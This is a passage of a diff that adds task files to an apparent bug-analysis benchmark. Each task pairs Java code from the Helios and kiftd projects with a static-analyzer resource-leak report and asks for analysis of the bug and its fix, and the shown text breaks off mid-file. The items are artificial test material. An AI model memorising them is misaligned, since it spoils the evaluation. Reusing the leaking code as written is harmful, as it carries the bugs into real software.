+  protected void awaitHostRegistered(final HeliosClient client, final String host,
+                                     final int timeout,
+                                     final TimeUnit timeUnit) throws Exception {
+    Polling.await(timeout, timeUnit, new Callable<HostStatus>() {
+      @Override
+      public HostStatus call() throws Exception {
+        return getOrNull(client.hostStatus(host));
+      }
+    });
+  }
+
+  protected HostStatus awaitHostStatus(final HeliosClient client, final String host,
+                                       final HostStatus.Status status,
+                                       final int timeout,
+                                       final TimeUnit timeUnit) throws Exception {
+    return Polling.await(timeout, timeUnit, new Callable<HostStatus>() {
+      @Override
+      public HostStatus call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        if (hostStatus == null) {
+          return null;
+        }
+        return (hostStatus.getStatus() == status) ? hostStatus : null;
+      }
+    });
+  }
+
+  protected TaskStatus awaitTaskState(final JobId jobId, final String host,
+                                      final TaskStatus.State state) throws Exception {
+    long timeout = LONG_WAIT_MINUTES;
+    TimeUnit timeUnit = MINUTES;
+    return Polling.await(timeout, timeUnit, new Callable<TaskStatus>() {
+      @Override
+      public TaskStatus call() throws Exception {
+        final String output = cli("status", "--json", "--job", jobId.toString());
+        final Map<JobId, JobStatus> statusMap;
+        try {
+          statusMap = Json.read(output, new TypeReference<Map<JobId, JobStatus>>() {});
+        } catch (IOException e) {
+          return null;
+        }
+        final JobStatus status = statusMap.get(jobId);
+        if (status == null) {
+          return null;
+        }
+        final TaskStatus taskStatus = status.getTaskStatuses().get(host);
+        if (taskStatus == null) {
+          return null;
+        }
+        if (taskStatus.getState() != state) {
+          return null;
+        }
+        return taskStatus;
+      }
+    });
+  }
+
+  protected void awaitTaskGone(final HeliosClient client, final String host, final JobId jobId,
+                               final long timeout, final TimeUnit timeunit) throws Exception {
+    Polling.await(timeout, timeunit, new Callable<Boolean>() {
+      @Override
+      public Boolean call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        final TaskStatus taskStatus = hostStatus.getStatuses().get(jobId);
+        final Deployment deployment = hostStatus.getJobs().get(jobId);
+        return taskStatus == null && deployment == null ? true : null;
+      }
+    });
+  }
+
+  protected <T> T getOrNull(final ListenableFuture<T> future)
+      throws ExecutionException, InterruptedException {
+    return Futures.withFallback(future, new FutureFallback<T>() {
+      @Override
+      public ListenableFuture<T> create(final Throwable t) throws Exception {
+        return Futures.immediateFuture(null);
+      }
+    }).get();
+  }
+
+  protected String readLogFully(final ClientResponse logs) throws IOException {
+    final LogReader logReader = new LogReader(logs.getEntityInputStream());
+    StringBuilder stringBuilder = new StringBuilder();
+    LogMessage logMessage;
+    while ((logMessage = logReader.nextMessage()) != null) {
+      stringBuilder.append(UTF_8.decode(logMessage.content()));
+    }
+    logReader.close();
+    return stringBuilder.toString();
+  }
+
+  protected static void removeContainer(final DockerClient dockerClient, final String containerId)
+      throws Exception {
+    // Work around docker sometimes failing to remove a container directly after killing it
+    Polling.await(1, MINUTES, new Callable<Object>() {
+      @Override
+      public Object call() throws Exception {
+        try {
+          dockerClient.killContainer(containerId);
+          dockerClient.removeContainer(containerId);
+          return true;
+        } catch (ContainerNotFoundException e) {
+          // We're done here
+          return true;
+        } catch (DockerException e) {
+          if ((e instanceof DockerRequestException) &&
+              ((DockerRequestException) e).message().contains(
+                  "Driver btrfs failed to remove root filesystem")) {
+            // Workaround btrfs issue where removing containers throws an exception,
+            // but succeeds anyway.
+            return true;
+          } else {
+            return null;
+          }
+        }
+      }
+    });
+    try {
+      // This should fail with an exception if the container still exists
+      dockerClient.inspectContainer(containerId);
+      fail();
+    } catch (DockerException ignore) {
+    }
+  }
+
+  protected List<Container> listContainers(final DockerClient dockerClient, final String needle)
+      throws DockerException, InterruptedException {
+    final List<Container> containers = dockerClient.listContainers();
+    final List<Container> matches = Lists.newArrayList();
+    for (final Container container : containers) {
+      if (container.names() != null) {
+        for (final String name : container.names()) {
+          if (name.contains(needle)) {
+            matches.add(container);
+            break;
+          }
+        }
+      }
+    }
+    return matches;
+  }
+
+  protected List<String> flatten(final Object... values) {
+    final Iterable<Object> valuesList = asList(values);
+    return flatten(valuesList);
+  }
+
+  protected List<String> flatten(final Iterable<?> values) {
+    final List<String> list = new ArrayList<>();
+    for (Object value : values) {
+      if (value instanceof Iterable) {
+        list.addAll(flatten((Iterable<?>) value));
+      } else if (value.getClass() == String[].class) {
+        list.addAll(asList((String[]) value));
+      } else if (value instanceof String) {
+        list.add((String) value);
+      } else {
+        throw new IllegalArgumentException();
+      }
+    }
+    return list;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.spotify.docker.client.DefaultDockerClient` acquired by call to `new()` at line 239 is not released after line 289.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SystemTestBase.assertDockerReachable(int)
+
+### Procedure Id:
+com.spotify.helios.system.SystemTestBase.assertDockerReachable(int):void.2742db868dd25493f0e2b97b75fdd082
+
+### File:
+helios-system-tests/src/main/java/com/spotify/helios/system/SystemTestBase.java
+
+### Key:
+SystemTestBase.java|assertDockerReachable|RESOURCE_LEAK
+
+### Node Key:
+76186062d4d31f2bfcdc7235ac1c09c1
+
+### Hash:
+8b0e545e8d5cd798b144920b03f78898
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3542/instruction.md b/inferredbugs-3542/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9d86cbc0d7bda6bce175fbedcee838765de78e6f
--- /dev/null
+++ b/inferredbugs-3542/instruction.md
@@ -0,0 +1,496 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** kiftd-source
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package kohgylw.kiftd.server.util;
+
+import org.springframework.stereotype.*;
+import javax.annotation.*;
+import kohgylw.kiftd.server.mapper.*;
+import kohgylw.kiftd.server.enumeration.*;
+import javax.servlet.http.*;
+import java.util.*;
+import kohgylw.kiftd.server.model.*;
+
+import java.io.*;
+
+@Component
+public class LogUtil {
+
+	@Resource
+	private FolderUtil fu;
+	@Resource
+	private FolderMapper fm;
+	@Resource
+	private NodeMapper fim;
+
+	private String sep = "";
+	private String logs = "";
+
+	public LogUtil() {
+		sep = File.separator;
+		logs = ConfigureReader.instance().getPath() + sep + "logs";
+		File l = new File(logs);
+		if (!l.exists()) {
+			l.mkdir();
+		} else {
+			if (!l.isDirectory()) {
+				l.delete();
+				l.mkdir();
+			}
+		}
+	}
+
+	/**
+	 * 以格式化记录异常信息
+	 * <p>
+	 * 创建日志文件并写入异常信息，当同日期的日志文件存在时，则在其后面追加该信息
+	 * </p>
+	 * 
+	 * @param e
+	 *            Exception 需要记录的异常对象
+	 */
+	public void writeException(Exception e) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Runtime_Exception)) {
+			writeToLog("Exception", "[" + e + "]:" + e.getMessage());
+		}
+	}
+
+	/**
+	 * 以格式化记录新建文件夹日志
+	 * <p>
+	 * 写入新建文件夹信息，包括操作者、路劲及新文件夹名称
+	 * </p>
+	 */
+	public void writeCreateFolderEvent(HttpServletRequest request, Folder f) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;// 方便下方使用终态操作
+			Thread t = new Thread(() -> {
+				List<Folder> l = fu.getParentList(f.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Create new folder]\r\n>PATH [" + pl + "]\r\n>NAME ["
+						+ f.getFolderName() + "]，CONSTRAINT [" + f.getFolderConstraint() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	/**
+	 * 以格式化记录重命名文件夹日志
+	 * <p>
+	 * 写入重命名文件夹信息
+	 * </p>
+	 */
+	public void writeRenameFolderEvent(HttpServletRequest request, Folder f, String newName, String newConstraint) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				List<Folder> l = fu.getParentList(f.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Edit folder]\r\n>PATH [" + pl + "]\r\n>NAME ["
+						+ f.getFolderName() + "]->[" + newName + "]，CONSTRAINT [" + f.getFolderConstraint() + "]->["
+						+ newConstraint + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	/**
+	 * 以格式化记录删除文件夹日志
+	 * <p>
+	 * 写入删除文件夹信息
+	 * </p>
+	 */
+	public void writeDeleteFolderEvent(HttpServletRequest request, Folder f, List<Folder> l) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Delete folder]\r\n>PATH [" + pl + "]\r\n>NAME ["
+						+ f.getFolderName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	/**
+	 * 以格式化记录删除文件日志
+	 * <p>
+	 * 写入删除文件信息
+	 * </p>
+	 */
+	public void writeDeleteFileEvent(HttpServletRequest request, Node f) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFileParentFolder());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Delete file]\r\n>PATH [" + pl
+						+ folder.getFolderName() + "]\r\n>NAME [" + f.getFileName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	/**
+	 * 以格式化记录上传文件日志
+	 * <p>
+	 * 写入上传文件信息
+	 * </p>
+	 */
+	public void writeUploadFileEvent(Node f, String account) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFileParentFolder());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Upload file]\r\n>PATH [" + pl
+						+ folder.getFolderName() + "]\r\n>NAME [" + f.getFileName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	/**
+	 * 以格式化记录下载文件日志
+	 * <p>
+	 * 写入下载文件信息
+	 * </p>
+	 */
+	public void writeDownloadFileEvent(HttpServletRequest request, Node f) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFileParentFolder());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Download file]\r\n>PATH [" + pl
+						+ folder.getFolderName() + "]\r\n>NAME [" + f.getFileName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+	
+	/**
+	 * 
+	 * <h2>简述</h2>
+	 * <p>详细描述</p>
+	 * @author 青阳龙野(kohgylw)
+	 * @param xxx 参数描述
+	 * @return xxx
+	 */
+	public void writeDownloadFileByKeyEvent(Node f) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFileParentFolder());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">OPERATE [Download file By Shared URL]\r\n>PATH [" + pl
+						+ folder.getFolderName() + "]\r\n>NAME [" + f.getFileName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+	
+	/**
+	 * 
+	 * <h2>记录分享下载链接事件</h2>
+	 * <p>当用户试图获取一个资源的下载链接时，记录此事件。</p>
+	 * @author 青阳龙野(kohgylw)
+	 */
+	public void writeShareFileURLEvent(HttpServletRequest request, Node f) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFileParentFolder());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Share Download file URL]\r\n>PATH [" + pl
+						+ folder.getFolderName() + "]\r\n>NAME [" + f.getFileName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	/**
+	 * 以格式化记录重命名文件日志
+	 * <p>
+	 * 写入重命名文件信息
+	 * </p>
+	 */
+	public void writeRenameFileEvent(HttpServletRequest request, Node f, String newName) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFileParentFolder());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Rename file]\r\n>PATH [" + pl
+						+ folder.getFolderName() + "]\r\n>NAME [" + f.getFileName() + "]->[" + newName + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	/**
+	 * 
+	 * <h2>日志记录：移动文件</h2>
+	 * <p>
+	 * 记录移动文件操作，谁、在什么时候、将哪个文件移动到哪。
+	 * </p>
+	 * 
+	 * @author 青阳龙野(kohgylw)
+	 * @param request
+	 *            HttpServletRequest 请求对象
+	 * @param f
+	 *            Node 被移动的文件节点
+	 * @param locationpath
+	 *            String 被移动到的位置
+	 */
+	public void writeMoveFileEvent(HttpServletRequest request, Node f) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFileParentFolder());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Move file]\r\n>NEW PATH [" + pl
+						+ folder.getFolderName() + "/" + f.getFileName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	public void writeMoveFileEvent(HttpServletRequest request, Folder f) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				Folder folder = fm.queryById(f.getFolderParent());
+				List<Folder> l = fu.getParentList(folder.getFolderId());
+				String pl = new String();
+				for (Folder i : l) {
+					pl = pl + i.getFolderName() + "/";
+				}
+				String content = ">ACCOUNT [" + a + "]\r\n>OPERATE [Move Folder]\r\n>NEW PATH [" + pl
+						+ folder.getFolderName() + "/" + f.getFolderName() + "]";
+				writeToLog("Event", content);
+			});
+			t.start();
+		}
+	}
+
+	private void writeToLog(String type, String content) {
+		String t = ServerTimeUtil.accurateToLogName();
+		File f = new File(logs, t + ".klog");
+		FileWriter fw = null;
+		if (f.exists()) {
+			try {
+				fw = new FileWriter(f, true);
+				fw.write("\r\n\r\nTIME:\r\n" + ServerTimeUtil.accurateToSecond() + "\r\nTYPE:\r\n" + type
+						+ "\r\nCONTENT:\r\n" + content);
+				fw.close();
+			} catch (Exception e1) {
+				System.out.println("KohgylwIFT:[Log]Cannt write to file,message:" + e1.getMessage());
+			}
+		} else {
+			try {
+				fw = new FileWriter(f, false);
+				fw.write("TIME:\r\n" + ServerTimeUtil.accurateToSecond() + "\r\nTYPE:\r\n" + type + "\r\nCONTENT:\r\n"
+						+ content);
+				fw.close();
+			} catch (IOException e1) {
+				System.out.println("KohgylwIFT:[Log]Cannt write to file,message:" + e1.getMessage());
+			}
+		}
+	}
+
+	/**
+	 * 以格式化记录下载文件日志
+	 * <p>
+	 * 写入下载文件信息
+	 * </p>
+	 */
+	public void writeDownloadCheckedFileEvent(HttpServletRequest request, List<String> idList) {
+		if (ConfigureReader.instance().inspectLogLevel(LogLevel.Event)) {
+			String account = (String) request.getSession().getAttribute("ACCOUNT");
+			if (account == null || account.length() == 0) {
+				account = "Anonymous";
+			}
+			String a = account;
+			Thread t = new Thread(() -> {
+				StringBuffer content = new StringBuffer(
+						">ACCOUNT [" + a + "]\r\n>OPERATE [Download checked file]\r\n----------------\r\n");
+				for (String fid : idList) {
+					Node f = fim.queryById(fid);
+					if (f != null) {
+						Folder folder = fm.queryById(f.getFileParentFolder());
+						List<Folder> l = fu.getParentList(folder.getFolderId());
+						String pl = new String();
+						for (Folder i : l) {
+							pl = pl + i.getFolderName() + "/";
+						}
+						content.append(
+								">PATH [" + pl + folder.getFolderName() + "]\r\n>NAME [" + f.getFileName() + "]\r\n");
+					}
+				}
+				content.append("----------------");
+				writeToLog("Event", content.toString());
+			});
+			t.start();
+		}
+
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileWriter` acquired to `fw` by call to `new()` at line 365 is not released after line 369.
+**Note**: potential exception at line 366
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LogUtil.writeToLog(String,String)
+
+### Procedure Id:
+kohgylw.kiftd.server.util.LogUtil.writeToLog(java.lang.String,java.lang.String):void.773d7b951cdc707ef429fffd2831f961
+
+### File:
+src/main/java/kohgylw/kiftd/server/util/LogUtil.java
+
+### Key:
+LogUtil.java|writeToLog|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+93b12b103b78c411af03648d2c517a0b
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3543/instruction.md b/inferredbugs-3543/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f14f519fa61c928ce3ef0b73d6ae35889358de36
--- /dev/null
+++ b/inferredbugs-3543/instruction.md
@@ -0,0 +1,750 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** kiftd-source
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package kohgylw.kiftd.server.service.impl;
+
+import kohgylw.kiftd.server.service.*;
+
+import org.springframework.stereotype.*;
+import kohgylw.kiftd.server.mapper.*;
+import javax.annotation.*;
+import kohgylw.kiftd.server.enumeration.*;
+import kohgylw.kiftd.server.model.*;
+import org.springframework.web.multipart.*;
+
+import javax.servlet.http.*;
+import java.io.*;
+import java.nio.charset.Charset;
+
+import kohgylw.kiftd.server.util.*;
+import java.util.*;
+
+import com.google.gson.*;
+import com.google.gson.reflect.TypeToken;
+
+/**
+ * 
+ * <h2>文件服务功能实现类</h2>
+ * <p>
+ * 该类负责对文件相关的服务进行实现操作，例如下载和上传等，各方法功能详见接口定义。
+ * </p>
+ * 
+ * @author 青阳龙野(kohgylw)
+ * @version 1.0
+ * @see kohgylw.kiftd.server.service.FileService
+ */
+@Service
+public class FileServiceImpl extends RangeFileStreamWriter implements FileService {
+	private static final String KIFTD_UPLOAD_KEY = "KIFTDFILUPLOADKEY";
+	private static final String ERROR_PARAMETER = "errorParameter";// 参数错误标识
+	private static final String NO_AUTHORIZED = "noAuthorized";// 权限错误标识
+	private static final String UPLOADSUCCESS = "uploadsuccess";// 上传成功标识
+	private static final String UPLOADERROR = "uploaderror";// 上传失败标识
+
+	private static List<String> keyList = new ArrayList<>();// 上传钥匙表，用于记录用完一次就扔的钥匙
+
+	@Resource
+	private NodeMapper fm;
+	@Resource
+	private FolderMapper flm;
+	@Resource
+	private LogUtil lu;
+	@Resource
+	private Gson gson;
+	@Resource
+	private FileBlockUtil fbu;
+	@Resource
+	private FolderUtil fu;
+
+	private static final String CONTENT_TYPE = "application/octet-stream";
+
+	// 检查上传文件列表的实现
+	public String checkUploadFile(final HttpServletRequest request, final HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		final String folderId = request.getParameter("folderId");
+		final String nameList = request.getParameter("namelist");
+		// 先行权限检查
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.UPLOAD_FILES)) {
+			return NO_AUTHORIZED;
+		}
+		// 获得上传文件名列表
+		final List<String> namelistObj = gson.fromJson(nameList, new TypeToken<List<String>>() {
+		}.getType());
+		final List<String> pereFileNameList = new ArrayList<>();
+		// 查找目标目录下是否存在与待上传文件同名的文件（或文件夹），如果有，记录在上方的列表中
+		for (final String fileName : namelistObj) {
+			if (folderId == null || folderId.length() <= 0 || fileName == null || fileName.length() <= 0) {
+				return ERROR_PARAMETER;
+			}
+			final List<Node> files = this.fm.queryByParentFolderId(folderId);
+			if (files.stream().parallel().anyMatch((n) -> n.getFileName()
+					.equals(new String(fileName.getBytes(Charset.forName("UTF-8")), Charset.forName("UTF-8"))))) {
+				pereFileNameList.add(fileName);
+			}
+		}
+		// 如果存在同名文件，返回同名文件的JSON数据，否则直接允许上传
+		String key = UUID.randomUUID().toString();
+		synchronized (keyList) {
+			keyList.add(key);
+		}
+		Cookie c = new Cookie(KIFTD_UPLOAD_KEY, key);//为客户端分发一把钥匙，该钥匙仅有效一次，但不限时长。
+		response.addCookie(c);
+		if (pereFileNameList.size() > 0) {
+			return "duplicationFileName:" + gson.toJson(pereFileNameList);
+		}
+		return "permitUpload";
+	}
+
+	// 执行上传操作，接收文件并存入文件节点
+	public String doUploadFile(final HttpServletRequest request, final HttpServletResponse response,
+			final MultipartFile file) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		final String folderId = request.getParameter("folderId");
+		final String originalFileName = new String(file.getOriginalFilename().getBytes(Charset.forName("UTF-8")),
+				Charset.forName("UTF-8"));
+		String fileName = originalFileName;
+		final String repeType = request.getParameter("repeType");
+		// 再次检查上传文件名与目标目录ID
+		if (folderId == null || folderId.length() <= 0 || originalFileName == null || originalFileName.length() <= 0) {
+			return UPLOADERROR;
+		}
+		// 比对上传钥匙，如果有则允许上传，否则丢弃该资源。该钥匙用完后立即销毁。
+		boolean isUpload = false;
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.UPLOAD_FILES)) {
+			for (Cookie c : request.getCookies()) {
+				if (KIFTD_UPLOAD_KEY.equals(c.getName())) {
+					synchronized (keyList) {
+						if (keyList.contains(c.getValue())) {//比对钥匙有效性
+							isUpload = true;
+							keyList.remove(c.getValue());//销毁这把钥匙
+							c.setMaxAge(0);
+							response.addCookie(c);
+						} else {
+							return UPLOADERROR;
+						}
+					}
+				}
+			}
+		}
+		if (!isUpload) {
+			return UPLOADERROR;
+		}
+		// 检查是否存在同名文件。不存在：直接存入新节点；存在：检查repeType代表的上传类型：覆盖、跳过、保留两者。
+		final List<Node> files = this.fm.queryByParentFolderId(folderId);
+		if (files.parallelStream().anyMatch((e) -> e.getFileName().equals(originalFileName))) {
+			// 针对存在同名文件的操作
+			if (repeType != null) {
+				switch (repeType) {
+				// 跳过则忽略上传请求并直接返回上传成功（跳过不应上传）
+				case "skip":
+					return UPLOADSUCCESS;
+				// 覆盖则找到已存在文件节点的File并将新内容写入其中，同时更新原节点信息（除了文件名、父目录和ID之外的全部信息）
+				case "cover":
+					// 其中覆盖操作同时要求用户必须具备删除权限
+					if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+						return UPLOADERROR;
+					}
+					for (Node f : files) {
+						if (f.getFileName().equals(originalFileName)) {
+							File file2 = fbu.getFileFromBlocks(f);
+							try {
+								file.transferTo(file2);
+								f.setFileSize(fbu.getFileSize(file));
+								f.setFileCreationDate(ServerTimeUtil.accurateToDay());
+								if (account != null) {
+									f.setFileCreator(account);
+								} else {
+									f.setFileCreator("\u533f\u540d\u7528\u6237");
+								}
+								if (fm.update(f) > 0) {
+									this.lu.writeUploadFileEvent(request, f);
+									return UPLOADSUCCESS;
+								} else {
+									return UPLOADERROR;
+								}
+							} catch (Exception e) {
+								// TODO 自动生成的 catch 块
+								return UPLOADERROR;
+							}
+						}
+					}
+					return UPLOADERROR;
+				// 保留两者，使用型如“xxxxx (n).xx”的形式命名新文件。其中n为计数，例如已经存在2个文件，则新文件的n记为2
+				case "both":
+					// 设置新文件名为标号形式
+					fileName = FileNodeUtil.getNewNodeName(originalFileName, files);
+					break;
+				default:
+					// 其他声明，容错，暂无效果
+					return UPLOADERROR;
+				}
+			} else {
+				// 如果既有重复文件、同时又没声明如何操作，则直接上传失败。
+				return UPLOADERROR;
+			}
+		}
+		// 将文件存入节点并获取其存入生成路径，型如“UUID.block”形式。
+		final String path = this.fbu.saveToFileBlocks(file);
+		if (path.equals("ERROR")) {
+			return UPLOADERROR;
+		}
+		final String fsize = this.fbu.getFileSize(file);
+		final Node f2 = new Node();
+		f2.setFileId(UUID.randomUUID().toString());
+		if (account != null) {
+			f2.setFileCreator(account);
+		} else {
+			f2.setFileCreator("\u533f\u540d\u7528\u6237");
+		}
+		f2.setFileCreationDate(ServerTimeUtil.accurateToDay());
+		f2.setFileName(fileName);
+		f2.setFileParentFolder(folderId);
+		f2.setFilePath(path);
+		f2.setFileSize(fsize);
+		if (this.fm.insert(f2) > 0) {
+			this.lu.writeUploadFileEvent(request, f2);
+			return UPLOADSUCCESS;
+		}
+		return UPLOADERROR;
+	}
+
+	// 删除单个文件，该功能与删除多个文件重复，计划合并二者
+	public String deleteFile(final HttpServletRequest request) {
+		// 接收参数并接续要删除的文件
+		final String fileId = request.getParameter("fileId");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+			return NO_AUTHORIZED;
+		}
+		if (fileId == null || fileId.length() <= 0) {
+			return ERROR_PARAMETER;
+		}
+		// 确认要删除的文件存在
+		final Node file = this.fm.queryById(fileId);
+		if (file == null) {
+			return ERROR_PARAMETER;
+		}
+		// 从文件块删除
+		if (!this.fbu.deleteFromFileBlocks(file)) {
+			return "cannotDeleteFile";
+		}
+		// 从节点删除
+		if (this.fm.deleteById(fileId) > 0) {
+			this.lu.writeDeleteFileEvent(request, file);
+			return "deleteFileSuccess";
+		}
+		return "cannotDeleteFile";
+	}
+
+	// 普通下载：下载单个文件
+	public void doDownloadFile(final HttpServletRequest request, final HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES)) {
+			// 找到要下载的文件节点
+			final String fileId = request.getParameter("fileId");
+			if (fileId != null) {
+				final Node f = this.fm.queryById(fileId);
+				if (f != null) {
+					// 执行写出
+					final File fo = this.fbu.getFileFromBlocks(f);
